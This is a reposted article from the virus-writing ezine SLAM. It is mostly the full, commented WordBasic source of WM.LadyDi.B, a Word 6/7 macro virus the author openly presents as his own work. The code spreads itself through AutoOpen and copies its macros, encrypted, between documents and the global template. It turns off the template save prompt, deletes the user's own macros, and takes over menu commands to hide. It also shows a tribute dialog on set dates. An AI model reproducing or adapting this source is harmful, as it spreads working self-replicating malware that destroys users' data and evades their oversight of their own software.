Copy Link
Add to Bookmark
Report

SLAM4.044: WordMacro.LadyDi by KidChaos/SLAM

eZine's profile picture
Published in 
Slam
 · 3 Mar 2022

 SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM 
| |
S @}---`---,--- WordMacro.LadyDi @}---`---,--- S
L L
| By |
A A
M Kid Chaos [SLAM] M
| |
SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM

Name : WM.LadyDi
Version : B
Language : WordBasic
Author : Kid Chaos [SLAM]
Target : everything under Word 6/7 ;)
Size : 2806 bytes
Total macros : nine
Stealth : Yes
Encrypt : Yes
Description : This WordMacro is my first macrovirus! I've finished the first
version in November 97, I've added delete macro routines and Rnd()
in tribute macro for this second version . (both versions:
WM.LadyDi.A and WM.LadyDi.B has been included in SLAM#4)

WM.LadyDi spread using AutoOpen macro and replace the following
Word options :
/ - ToolsMacro
/ - ToolsOptions
(*) < - ToolsCustomize
\ - FileTemplates
\ - HelpAbout
So, when infect check for previous installed else remove from
template/document foreign macros as:
- Other macrovirus
- User's macros
The activation day is: 1, 15, 16, 19, 30 and 31 of every month
when the user select the Word options (*), close the document
and if the random condition is true then show a User Dialog
with the song "Candle in the Wind" a special version for the
funeral of Diana Spencer.
The macrovirus is full commented in this article (comments
are not part of original WordBasic code).

Greets: All SLAM members and all VX friends (i have a lot) ;)

====================
Macro name: LadyDi
--------------------
Sub MAIN
R$ = "@}---`---,---" ' Define ASCII Rose
' Title of User Dialog
Begin Dialog UserDialog 514, 326, \
R$ + " Lady Di Tribute by Kid Chaos [SLAM] " + R$
' Put Down Button
PushButton 103, 289, 280, 21, \
"In memory of Diana Spencer (1961-97)", .Push1
' Define part of song
' "Candle in the Wind"
A$ = R$ + " Goodbye England's rose; " + R$
B$ = R$ + " may you ever grow in our hearts. " + R$
C$ = R$ + " You were the grace that placed itself " + R$
D$ = R$ + " where lives were torn apart " + R$
E$ = R$ + " You called out to our country, " + R$
F$ = R$ + " and you whispered to those in pain. " + R$
G$ = R$ + " Now you belong to heaven, " + R$
H$ = R$ + " and the stars spell out your name. " + R$
I$ = R$ + " And it seems to me you lived your life " + R$
J$ = R$ + " like a candle in the wind; " + R$
K$ = R$ + " never fading with the sunset " + R$
L$ = R$ + " when the rain set in " + R$
M$ = R$ + " And your footsteps will always fall here, " + R$
N$ = R$ + " along England's greenest hills; " + R$
O$ = R$ + " your candle's burned out Long before " + R$
P$ = R$ + " your legend ever will " + R$
' Put the song on User Dialog
Text 87, 20, 410, 27, A$ ' Put first text line
Text 87, 34, 410, 27, B$ ' Put second text line
Text 87, 48, 410, 27, C$ ' Put following text line....
Text 87, 60, 410, 27, D$
Text 87, 74, 410, 27, E$
Text 87, 88, 410, 27, F$
Text 87, 102, 410, 27, G$
Text 87, 116, 410, 27, H$
Text 87, 150, 410, 27, I$
Text 87, 164, 410, 27, J$
Text 87, 178, 410, 27, K$
Text 87, 192, 410, 27, L$
Text 87, 206, 410, 27, M$
Text 87, 220, 410, 27, N$
Text 87, 234, 410, 27, O$
Text 87, 248, 410, 27, P$
End Dialog ' User Dialog is done
Dim Dlg As UserDialog
Dialog Dlg
End Sub

====================
Macro name: Tribute
--------------------
Sub MAIN
R$ = "@}---`---,---" ' Define ASCII Rose
If Day(Now()) = 30 Or Day(Now()) = 31 Then ' Ask if today is 30th
' or 31th
If Rnd() < 0.2 Then ' Is random number < 0.2 ?
Call LadyDi ' Run macro LadyDi
End If
ElseIf Day(Now()) = 15 Or Day(Now()) = 16 Then ' Else, Ask if today is
' 15th or 16th
If Rnd() < 0.3 Then ' Is random number < 0.3 ?
' Put message Box about me
' ;-)
MsgBox "(c)1997 Kid Chaos Production ", "SLAM VIRUS TEAM", 16
End If

ElseIf Day(Now()) = 1 Or Day(Now()) = 19 Then ' Else, Ask if today is 1th
' or 19th
If Rnd() < 0.4 Then ' Is random number < 0.4 ?
' Show message box
MsgBox " press any key to continue... ", R$ + " Diana Tribute " + R$, 64
Call LadyDi ' Run macro LadyDi
End If
EndIf
End Sub

=====================
Macro name: AutoOpen
---------------------
Sub MAIN
REM Lady Di tribute by Kid Chaos of SLAM Virus Team
On Error Goto Spencer ' Handle error
ToolsOptionsSave .GlobalDotPrompt = 0 ' Disables global template
' write access warnings
A$ = FileName$() ' Set Filename and "Global"
B$ = "Global"
' Check infected template
' already
If TV Then ' If TV is true then remove
' old macros and spread to
' template!
If (CountMacros(0) > 0) Then ' Count macros from template
' If exist other macro then
' remove it!
For I = CountMacros(0) To 1 Step - 1 ' Loop start here
' Declares Show=0 (template)
' Remove current macro
ToolsMacro .Name = MacroName$(I, 0), .Show = 0, .Delete
Next ' Continue loop
' Loop stop here
End If ' All macros has been removed
' Now, copy all macros from
' document to template
For I = CountMacros(1) To 1 Step - 1 ' Loop start here
M$ = ":" + MacroName$(I, 1) ' Get the macros names from
' document.
MacroCopy A$ + M$, B$ + M$, 1 ' Copy and encrypt macros.
Next
Else ' The template was infected
' then check infected document
' already.
If FV Then
If (CountMacros(1) > 0) Then ' Count macros from document.
For I = CountMacros(1) To 1 Step - 1 ' If exist macro remove it!.
' Declares Show=3 (document).
ToolsMacro .Name = MacroName$(I, 1), .Show = 3, .Delete
Next ' continue loop.
End If ' loop stop here.
FileSaveAs .Name = A$, .Format = 1 ' Save document as template.
' Copy all macros from template
' to document.
For I = CountMacros(0) To 1 Step - 1
M$ = ":" + MacroName$(I, 0) ' get the macros names from
' template
MacroCopy B$ + M$, A$ + M$, 1 ' copy and encrypt macros
Next
End If
End If
Spencer:
End Sub


Function TV ' TV=Template Validate function
TV = 1 ' Declare true, assume the
' template is clean (don't
' infected by LadyDi)
For k = 1 To CountMacros(0) ' Read number of macros in
' template

If MacroName$(k, 0) = "LadyDi" Then TV = 0 ' If LadyDi is installed then
' declare false (TV)
Next k
End Function


Function FV ' FV = File Validate function
FV = 1 ' Declare true, assume the
' document is clean
For k = 1 To CountMacros(1) ' Read number of macros in
' document
If MacroName$(k, 1) = "LadyDi" Then FV = 0 ' If LadyDi is installed then
' declare false (TV)
Next k
End Function

==================================================================
Macro names: AutoClose, ToolsMacro, ToolsOptions, FileTemplates
& ToolsCustomize
------------------------------------------------------------------
Sub MAIN
Call tribute ' Run macro Tribute
End Sub

======================
Macro name: HelpAbout
----------------------
Sub MAIN
' Show about M$ Word ;-)
MsgBox "-----> Kid Chaos [SLAM] <-----", "Micro$uck Word", 16
Call tribute ' Run tribute macro
End Sub

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT